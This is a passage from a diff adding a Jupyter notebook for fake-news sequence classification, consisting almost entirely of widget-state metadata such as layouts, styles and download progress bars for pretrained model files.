+      "collapsed_sections": [],
+      "name": "fakenews_seq_classification.ipynb",
+      "provenance": []
+    },
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "017ac4ceb8af464d86b3e30b3fbac283": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "040058ca10954543b7bfc5738742796d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "10d7ec314e47444eb28ec19a501549d7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "12c21bb187b94c42b536ffa8cc57c6c8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_769ec6aa62184828bbc8d265bc7ef36b",
+            "placeholder": "",
+            "style": "IPY_MODEL_d324b99bcd51417b9b5000543c79ddd6",
+            "value": " 455k/455k [00:00<00:00, 901kB/s]"
+          }
+        },
+        "151f60cdd3f649eeab67049a35902bdb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_607f0256b8ad43e5b9b78d965d0adab6",
+            "placeholder": "",
+            "style": "IPY_MODEL_6f53d5959f9a4b95852e19d874fefe6c",
+            "value": "Downloading: 100%"
+          }
+        },
+        "1a081da141354fa2aad25058d0aa7678": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "209e91111bf34fc3ae775f62b258511c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ab199bb314f744129f62a5646cca5978",
+            "placeholder": "",
+            "style": "IPY_MODEL_017ac4ceb8af464d86b3e30b3fbac283",
+            "value": "Downloading: 100%"
+          }
+        },
+        "25f7dde2c32c4acdb25bc24b8ca5b313": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_97069d80c78a474ba05ad7f03a1eec1f",
+            "max": 28,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_869001147458472790d4d55321a0e326",
+            "value": 28
+          }
+        },
+        "2972cba04af24ee3b5192c272d75bcd4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_10d7ec314e47444eb28ec19a501549d7",
+            "max": 570,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e8693eaf31154bebab1acf28b0d9e74a",
+            "value": 570
+          }
+        },
+        "319d08a0e887456090afc7301f78e545": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "32d1817612724162bdf405d35e3b1cce": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3653a74c1ca94b25a3ea52c95dfc0587": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3a7f0faddcc442518dd3c93bc5e287a4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "474bc31082cc4cd69a1651b16c4d825f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5104e72cc66d45ef9a32458907c10a4f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7460b86df5f44d89912c9dbbb04063fe",
+            "placeholder": "",
+            "style": "IPY_MODEL_981446561c774f84a56f357578e8ec9b",
+            "value": " 420M/420M [00:08<00:00, 51.0MB/s]"
+          }
+        },
+        "5a679ed6a9c74738a6e99d56de4402bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_209e91111bf34fc3ae775f62b258511c",
+              "IPY_MODEL_f3246d91c82740259cde9e18d9661da4",
+              "IPY_MODEL_12c21bb187b94c42b536ffa8cc57c6c8"
+            ],
+            "layout": "IPY_MODEL_e4ee7d65f85f41d7a342df1166d8d958"
+          }
+        },
+        "5e7b2bfb681748168ecdcc7033b1a11b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "607f0256b8ad43e5b9b78d965d0adab6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "60995794ce7d4bd3b5922ff70f6301e6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_040058ca10954543b7bfc5738742796d",
+            "placeholder": "",
+            "style": "IPY_MODEL_bd777df747a94960b326b26b4f7e4026",
+            "value": "Downloading: 100%"
+          }
+        },
+        "673e98e028074102bc1441f97dd5e247": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ef268e43022741cba1b19b436ea9dbb3",
+            "placeholder": "",
+            "style": "IPY_MODEL_d95345cb1b5a4e468c016e7bd6b11b35",
+            "value": "Downloading: 100%"
+          }
+        },
+        "6f53d5959f9a4b95852e19d874fefe6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "73c0a67491b54e59b6020385ce42cee1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_319d08a0e887456090afc7301f78e545",
+            "placeholder": "",
+            "style": "IPY_MODEL_3a7f0faddcc442518dd3c93bc5e287a4",
+            "value": " 226k/226k [00:00<00:00, 932kB/s]"
+          }
+        },
+        "7460b86df5f44d89912c9dbbb04063fe": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "769ec6aa62184828bbc8d265bc7ef36b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7ae0fecdd1234b71906144e81c0a6ab1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9415fcafd9fd4ccfa4ac5a2226e4f04c",
+            "placeholder": "",
+            "style": "IPY_MODEL_c56ff4e8152d4ccc8cfa9b821c077c36",
+            "value": " 28.0/28.0 [00:00<00:00, 284B/s]"
+          }
+        },
+        "7cb4d0092c534e819234cfc52c3b8e47": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_151f60cdd3f649eeab67049a35902bdb",
+              "IPY_MODEL_2972cba04af24ee3b5192c272d75bcd4",
+              "IPY_MODEL_ecd426dbd27a4645be1f40e1adcf19dc"
+            ],
+            "layout": "IPY_MODEL_fd158d39ffa5481ea6fa6cc5b969e739"
+          }
+        },
+        "869001147458472790d4d55321a0e326": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "9415fcafd9fd4ccfa4ac5a2226e4f04c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "953307be2c19462da0bf7d66db7cad9f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "97069d80c78a474ba05ad7f03a1eec1f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "981446561c774f84a56f357578e8ec9b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9de1f4b501a64163858ce6032aa6ee1d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ab199bb314f744129f62a5646cca5978": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b4f311aff8e548089aa86f3a09f6c007": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "bd777df747a94960b326b26b4f7e4026": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
